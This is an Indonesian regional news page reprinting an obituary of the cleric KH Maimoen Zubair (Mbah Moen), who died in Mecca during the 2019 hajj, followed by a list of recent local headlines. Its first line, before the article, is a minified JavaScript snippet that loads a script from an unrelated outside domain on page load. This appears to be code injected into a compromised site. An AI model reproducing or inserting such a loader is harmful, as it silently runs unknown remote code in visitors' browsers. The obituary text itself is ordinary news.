(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
OBITUARI

Sebelum Mangkat, Mbah Moen Minta Didoakan Wafat di Hari Selasa di Makkah


Meninggalnya Mustasyar Pengurus Besar Nahdlatul Ulama (PBNU) yang juga Pengasuh Pondok Pesantren Al-Anwar Rembang, KH Maimoen Zubair di Mekkah, Arab Saudi mengagetkan semua pihak.

Meski begitu, almarhum KH Maimoen Zubair yang biasa disapa Mbah Moen, pernah meminta didoakan meninggal pada hari Selasa.

Hal tersebut seperti disampaikan salah satu mantu Mbah Moen, KH Zuhrul Anam Hisyam yang akrab disapa Gus Anam, dalam status Facebook.

“Innalillahi Wainnailaihi rojiun. Telah Wafat Syaikhona Mbah KH Maimoen Zubair (Mbah Moen) di Makkah Mukarromah. Semoga khusnul khotimah. Mbah Yaii Maimun pernah dawuh, minta didoakan meninggal pada hari Selasa karena biasanya orang ahli ilmu itu meninggalnya hari Selasa,” katanya seperti diunggah dalam akun Facebook Gus Anam Channel pada Selasa (6/8/2019).

Selain meminta didoakan meninggal pada Hari Selasa, Mbah Moen, tulis status tersebut, juga meminta didoakan wafat di Tanah Suci Makkah saat berhaji.

“Dan minta didoakan meninggal di Makkah pas haji… Masya Allah… Diijabah oleh Allah semuanya,” lanjut status tersebut.

Diketahui, Mbah Moen wafat saat menjalankan ibadah haji. Dirinya berangkat ke Tanah Suci pada 27 Juli 2019 lalu. Ia bahkan sempat bertemu ketua umum PDIP Megawati Soekarnoputri untuk berpamitan karena hendak menunaikan ibadah haji.

Dilansir dari Antara, Selasa (6/8/2019) pagi, Menteri Agama sekaligus Amirul Hajj Lukman Hakim Saifuddin takziyah KH Maimun Zubair yang menghembuskan napas terakhir di RS An Noer, Mekkah.

Menteri Agama (Menag) Lukman Hakim Saifuddin langsung bergegas ke RS An Noer, Mekkah, Selasa pagi waktu setempat ketika mendapatkan kabar berpulangnya kiai yang akrab disapa Mbah Moen itu.

“Tolong segera, agak cepat ya,” kata Menag Lukman kepada jajarannya.

Dengan mengenakan gamis panjang warna putih dan kopiah putih ia langsung menuju tempat Mbah Moen disemayamkan.

Kabar berpulangnya ulama kharismatik Kiai Haji Maimoen “Mbah Moen” Zubair asal Rembang, Jawa Tengah itu mengejutkan semua orang. Mbah Moen wafat di Mekkah, Arab Saudi, pada pukul 04.17 waktu setempat. (suara.com)


Desy Arfianty

Recent Posts

Pj Bupati Kapuas Erlin Hardi ke Desa Tumbang Mangkutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More

5 jam ago

Satgas TMMD Beri Penyuluhan Pertanian dan Perikanan di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More

5 jam ago

Banjarbaru Posisi Kedua Klasemen Sementara Popda Kalsel 2024

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More

8 jam ago

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

10 jam ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

11 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

13 jam ago

This website uses cookies.